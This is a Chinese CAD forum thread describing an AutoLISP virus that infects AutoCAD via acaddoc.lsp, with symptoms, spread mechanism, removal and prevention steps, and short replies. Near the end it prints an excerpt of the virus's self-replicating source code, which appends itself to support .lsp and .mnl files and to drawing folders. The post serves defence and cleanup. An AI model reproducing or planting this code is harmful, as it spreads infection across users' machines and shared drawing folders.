找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 610|回复: 3

如何根除导致AUTOCAD开图卡顿甚至无响应的CAD病毒?

[复制链接]

已领礼包: 40个

财富等级: 招财进宝

发表于 2019-2-26 11:45:24 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×

上周有位网友的CAD出了问题,启动是无响应或直接导致CAD软件停止工作,重装后第一次启动没事,但打开一张图纸后就又有问题了,结果发现图纸目录下有一个acaddoc.lsp文件,一个纯文本的LSP文件,大小居然有200MB,后来将同名的文件都删除后,卸载软件重装后再次启动,居然又出来一个acaddoc.lsp,这次居然大小变成了900多MB。最近还有其他网友说刚装CAD好好的,但后来也出现类似的开图纸长时间无响应的情况,估计情况也类似。上次我从网友那将200MB的病毒文件复制过来了,但当时只是简单看了一下代码,也不太懂,并没有找到将病毒彻底清除的方法。最近在网上查了一些资料,对此病毒有了更深入的了解,将这病毒的特征和解决方法简单给大家讲一下,可以帮助大家更好地预防和根除此病毒。

病毒简介:

该病毒可以被卡巴斯基和360杀毒软件查出,卡巴斯基查出病毒名为Virus.ALS.pasdoc.a,360杀毒软件查出病毒名为Trojan.Script.29327。遗憾的是,卡巴斯基和360查毒软件均不能讲器彻底清除。


中毒症状:

机器中毒时,运行CAD时,没打开一个DWG文件,均在DWG文件所在目录生成一个acaddoc.lsp的文件。每次开图,此病毒程序会被自动加载并进行一次病毒传播复制过程,病毒文件增大到一定程度后就会导致CAD开图速度极慢设置导致CAD停止工作。

用记事本打开图纸目录下的acaddoc.lsp文件,或CAD安装路径下的SUPPORT目录下的任意一个*.lsp文件,如果文件中含有与底部所附相同代码,即可判定为中毒。


传播机理:

通过分析病毒的源代码,初步了解其传播机理如下:

如果机器已经中毒,CAD打开新的DWG文件时,病毒程序就会自动加载。病毒会搜索CAD工作目录下的acad.mnl文件,感染*.mnl文件,搜索acad的支持文件目录,感染目录下的所有*.lsp文件。同时病毒在但当前打开的DWG文件所在目录下生成acaddoc.lsp文件,如果将图纸发送到其他机器时带上了这个LSP文件,只要在那台机器打开DWG,病毒就会起作用。如果将图纸放到服务器或共享目录下,而打开图纸的人有写目录的权限,其他人打开这张图纸也会感染病毒。


清除步骤:

1、首先退出CAD。

2、全盘搜索acadapg.*/acadapp.*/acaddoc.*文件,然后彻底删除上述文件。

注意在查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。搜索时选择“查找所有文件及文件夹”,然后再“高级选项”里勾选“搜索系统文件夹”“搜搜隐藏的文件和文件夹”“搜索字文件夹”。

如果搜出的文件无法删除,则先清空回收站,再搜索删除。

在一些专业软件,如天正、浩辰、探索者等的目录下也会有acaddoc.lsp文件,如果不确认是否被感染,请一并删除。如果删除后这些专业软件启动不正常,可以重新安装。

3、查看C盘根目录下是否有boot.dat文件,如果有的话,也将它删除的IAO。

4、进入当前用户的application DATA目录(在WINDOWS资源管理器或开始运行里输入%APPDATA%)可以快速进入此目录,找到Autodesk\Autocad xxxx下面对应版本的Support目录,用记事本打开该目录下的所有*.mnl文件,手动删除与底部相同的代码(一般都在文件末尾),然后保存。然后将修改后的所有*.mnl文件属性设置为“只读”。

5、进入CAD安装目录下的support目录,将改目录下的所有*.LSP用记事本打开,手动删除病毒代码。处理完记得将属性设置为“只读”。

6、如果本机安装有多个版本的CAD,都需按上述步骤检查一次。

4-6三步处理太麻烦,处理不好还容易导致CAD或LSP无法运行,所以遇到这种问题干脆将CAD彻底卸载,然后将APPDATA和安装目录中残余的文件都删除,重新安装CAD。


预防措施:

此病毒是通过读取图纸文件所在目录下的acaddoc.lsp来传播的。在接受其他人发过来的文件夹或压缩包时,不要直接打开图纸,应首先检查一下文件夹中是否还有此病毒文件。如果有的话,删除掉,同时也要告诉他有可能中毒了,并提醒其他同事或合作伙伴有中毒的危险。这一步是最重要的!从源头上把病毒堵住,就不会感染病毒了!

病毒会感染SUPPORT目录下的*.lsp文件,如果我们有一些常用的LSP程序,不要直接复制到CAD的SUPPORT目录,可以新建一个文件夹,将自己常用的程序放到此目录下,然后再选项OP对话框中将此目录设置为支持文件搜索路径。

将CAD中相关目录的*.mnl和*.lsp设置为只读,防止病毒将代码添加到这些文件中。

安装上360或卡巴斯基等杀毒软件,接受他人传来的文件首先杀毒。

不要从服务器或其他共享目录下直接打开DWG文件,将DWG文件复制到本地后再打开,如果必须在共享目录下工作,如果发现有类似病毒的LSP文件,必须让有管理权限的人及时处理,然后再对本机进行彻底清查。

如何预防CAD病毒?


病毒代码:

下面是从网友200MB的LSP文件中摘取的一段代码,应该是病毒的基础代码:

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
    (if (= text bz) (setq flag1 nil))
    );while
      (close wjm1)
      );progn
    );if
  (if flag1
    (progn
      (setq wjm (open source "r"))
      (setq wjm1 (open target "a"))
      (write-line (chr 13) wjm1)
      (while (setq text (read-line wjm))
    (if (= text bz) (setq flag t))
    (if flag
      (progn
        (write-line text wjm1)
        );progn
      );if
    );while
      (close wjm1)
      (close wjm)
      );progn
    );if
  );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
  (progn
    (setq acaddocpath (vl-filename-directory dwgpath))
    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    (setq mnln 0)
    (while (< mnln mnlnum)
      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
      (app mnlfilename acaddocfile bz)
      (app acaddocfile mnlfilename bz)
      (setq mnln (1+ mnln))
      );while
    (setq lspn 0)
    (while (< lspn lspnum)
      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
      (app lspfilename acaddocfile bz)
      (app acaddocfile lspfilename bz)
      (setq lspn (1+ lspn))
      );while
    );progn
  );if
(setq mnln 0)
(while (< mnln mnlnum)
  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app mnlfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
    );while
  (setq lspn1 0)
  (while (< lspn1 lspnum)
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app mnlfilename lspfilename1 bz)
    (setq lspn1 (1+ lspn1))
    );while
  (setq mnln (1+ mnln))
  );while
(setq lspn 0)
(while (< lspn lspnum)
  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
  (setq lspn1 0)
  (while (< lspn1 lspnum)
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app lspfilename lspfilename1 bz)
    (setq lspn1 (1+ lspn1))
    );while
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app lspfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
    );while
  (setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadapp")
(princ)

然后这个文件后面还会多次重复加载acadapq和acadapp,上面的代码页会被多次复制,感觉病毒还会复制其他LSP文件的代码。文件一旦复制增大到一定程度,CAD开图的时候重复运行大量代码,肯定会变慢甚至停止工作。

网站和个人转载此文章请注明出处并提供原文链接!

以上技巧适用于AUTOCAD、浩辰CAD等类似的CAD软件。



论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

已领礼包: 7个

财富等级: 恭喜发财

发表于 2019-2-26 12:58:11 | 显示全部楼层
谢谢分享经验,工作中互相拷贝文件难免出现这样的问题,也确实不好根治
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

已领礼包: 6434个

财富等级: 富甲天下

发表于 2019-2-27 08:05:47 | 显示全部楼层
传染性实在太强
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2020-12-9 14:15:38 | 显示全部楼层
这玩意还会改注册表,让你的显示隐藏文件没有办法选择。
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|申请友链|Archiver|手机版|小黑屋|辽公网安备|晓东CAD家园 ( 辽ICP备15016793号 )

GMT+8, 2024-4-19 20:14 , Processed in 0.273228 second(s), 33 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表